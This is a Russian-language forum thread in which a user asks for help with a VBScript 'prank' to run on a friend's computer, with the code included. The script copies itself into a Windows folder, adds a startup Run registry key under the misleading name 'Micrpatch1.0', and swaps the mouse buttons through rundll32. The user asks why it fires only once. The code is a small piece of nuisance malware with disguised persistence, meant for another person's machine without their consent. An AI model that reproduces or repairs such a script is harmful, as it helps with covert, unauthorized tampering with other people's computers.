• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

VBScript

  • Автор темы mutabor
  • Дата начала
Статус
Закрыто для дальнейших ответов.
M

mutabor

Помогите пожалуйста. Вот решил пошутить над другом и нашел такой скрипт. Проблема в том, что он срабатывает только один раз, а при последующей загрузке машины он не срабатывает. Хотя в реестр прописывается. Вот код:

Код: 
Set FSA=CreateObject("Scripting.FileSystemObject")
FSA.CreateFolder("C:\Windows\ff")
Set file1=FSA.GetFile(WScript.ScriptFullName)
file1.Copy("C:\Windows\ff\mouse.vbs")
Код: 
Set WSHShell=WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Micrpatch1.0","C:\Windows\mouse.vbs", "REG_SZ" 
sub zp(y,x)
set wshshell=wscript.createobject("wscript.shell")
x=wshshell.run(y,x)
end sub
call zp("rundll32 user,swapmousebutton",true)
Спасибо.
 
Статус
Закрыто для дальнейших ответов.
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!

Верх Низ